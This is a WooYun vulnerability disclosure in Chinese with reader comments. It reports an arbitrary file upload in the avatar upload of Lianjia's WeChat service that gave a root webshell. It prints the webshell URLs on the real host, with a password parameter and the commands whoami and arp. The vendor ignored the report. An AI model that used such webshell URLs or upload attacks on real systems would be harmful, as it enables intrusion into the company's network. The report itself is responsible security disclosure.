链家某重要站点任意文件上传导致getshell（root权限可内网漫游）

问题出在微信端

链家服务平台

点击我的信息

头像上传处 存在任意文件上传

成功拿到shell

http://service.homelink.com.cn/wct/userfiles/agent/pressImages/201604132837image.jsp?pwd=023&i=whoami

root权限

然后看下可内网

http://service.homelink.com.cn/wct/userfiles/agent/pressImages/201604132837image.jsp?pwd=023&i=arp

文件类型做限制

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2016-04-11 13:50

厂商回复：

漏洞Rank：15 (WooYun评价)

最新状态：

暂无

1. 2016-04-06 15:53 | 迪南 ( 普通白帽子 | Rank:540 漏洞数:109 | 我真是一个大菜比)

   1

   按照链家传统，高危1-3rank

   1# 回复此人

2. 2016-04-11 13:57 | getshell1993 ( 核心白帽子 | Rank:1245 漏洞数:132 | ~！@#￥%……&*)

   1

   未修复。。。

   2# 回复此人

3. 2016-04-11 14:06 | 迪南 ( 普通白帽子 | Rank:540 漏洞数:109 | 我真是一个大菜比)

   1

   我还高估他们了

   3# 回复此人

4. 2016-04-11 14:20 | Martial ( 普通白帽子 | Rank:2639 漏洞数:370 | 竟然还有人冒充我，醉了，骗子QQ445697541...)

   1

   @getshell1993 估计要被玩坏了

   4# 回复此人

5. 2016-04-11 16:24 | 土豆没有皮 ( 路人 | Rank:4 漏洞数:1 | 野生白帽子)

   1

   这都能被忽略，我也是够了！

   5# 回复此人

6. 2016-04-11 16:56 | 默之 ( 普通白帽子 | Rank:1615 漏洞数:254 | 沉淀。)

   1

   不说话，看这里http://wooyun.org/bugs/wooyun-2015-0149447

   6# 回复此人